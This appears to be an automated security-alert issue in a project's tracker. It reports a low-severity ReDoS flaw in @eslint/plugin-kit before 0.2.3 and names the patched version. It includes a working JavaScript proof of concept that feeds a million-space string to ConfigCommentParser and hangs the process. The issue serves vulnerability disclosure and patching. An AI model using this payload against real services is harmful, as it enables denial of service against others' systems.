[23] [LOW] Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit #463

Open
opened 2025-06-04 22:12:30 +01:00 by Vylpes · 0 comments
Owner

Package: @eslint/plugin-kit
Affected versions: < 0.2.3
Patched version: 0.2.3


Crafting a very large and well crafted string can increase the CPU usage and crash the program.

POC

const { ConfigCommentParser } = require("@eslint/plugin-kit");

var str = "";
for (var i = 0; i < 1000000; i++) {
  str += " ";
}
str += "A";

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")

// run `npm i @eslint/plugin-kit` and `node attack.js` 
// then the program will stuck forever with high CPU usage
Package: `@eslint/plugin-kit` Affected versions: `< 0.2.3` Patched version: `0.2.3` --- Crafting a very large and well crafted string can increase the CPU usage and crash the program. ## POC ```js const { ConfigCommentParser } = require("@eslint/plugin-kit"); var str = ""; for (var i = 0; i < 1000000; i++) { str += " "; } str += "A"; console.log("start") var parser = new ConfigCommentParser(); console.log(parser.parseStringConfig(str, "")); console.log("end") // run `npm i @eslint/plugin-kit` and `node attack.js` // then the program will stuck forever with high CPU usage ```
Vylpes added this to the 0.10.0 milestone 2025-06-04 22:12:30 +01:00
Vylpes added the
type
alert
label 2025-06-04 22:12:30 +01:00
Sign in to join this conversation.
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference: External/card-drop#463
No description provided.